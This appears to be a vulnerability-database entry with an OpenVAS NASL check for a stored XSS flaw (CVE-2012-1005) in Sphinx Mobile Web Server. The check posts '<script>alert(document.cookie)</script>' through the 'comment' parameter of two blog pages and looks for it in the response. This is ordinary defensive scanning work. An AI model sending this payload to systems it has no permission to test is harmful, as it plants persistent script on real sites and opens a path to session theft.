4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6 Medium
AI Score
Confidence
High
0.002 Low
EPSS
Percentile
61.5%
Sphinx Mobile Web Server is prone to persistent cross-site
scripting (XSS) vulnerability.
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.802390");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2012-02-02 14:49:35 +0530 (Thu, 02 Feb 2012)");
script_cve_id("CVE-2012-1005");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"WillNotFix");
script_name("Sphinx Mobile Web Server <= 3.1.2.47 Multiple XSS Vulnerabilities - Active Check");
script_category(ACT_DESTRUCTIVE_ATTACK); # Stored XSS
script_copyright("Copyright (C) 2012 Greenbone AG");
script_family("Web Servers");
script_dependencies("gb_get_http_banner.nasl");
script_require_ports("Services/www", 8080);
script_mandatory_keys("MobileWebServer/banner");
script_tag(name:"summary", value:"Sphinx Mobile Web Server is prone to persistent cross-site
scripting (XSS) vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"The flaws are due to an improper validation of user-supplied
input via the 'comment' parameter to '/Blog/MyFirstBlog.txt' and '/Blog/AboutSomething.txt',
which allows attacker to execute arbitrary HTML and script code on the user's browser session in
the security context of an affected site.");
script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to insert
arbitrary HTML and script code, which will be executed in a user's browser session in the context
of an affected site.");
script_tag(name:"affected", value:"Sphinx Mobile Web Server U3 3.1.2.47 and prior.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore. General
solution options are to upgrade to a newer release, disable respective features, remove the
product or replace the product by another one.");
script_xref(name:"URL", value:"http://secpod.org/blog/?p=453");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/51820");
script_xref(name:"URL", value:"http://secunia.com/advisories/47876");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/72913");
script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18451/");
script_xref(name:"URL", value:"http://secpod.org/advisories/SecPod_SPHINX_SOFT_Mobile_Web_Server_Mul_Persistence_XSS_Vulns.txt");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
port = http_get_port(default: 8080);
banner = http_get_remote_headers(port: port);
if ("Server: MobileWebServer/" >!< banner)
exit(0);
pages = make_list("/MyFirstBlog.txt", "/AboutSomething.txt");
foreach page (pages) {
url = "/Blog" + page + "?comment=<script>alert(document.cookie)</script>&submit=Add+Comment";
req = http_get(port: port, item: url);
http_keepalive_send_recv(port: port, data: req);
url = "/Blog" + page;
if (http_vuln_check(port: port, url: url, pattern:"<script>alert\(document.cookie\)</script>",
check_header: TRUE)) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
}
exit(99);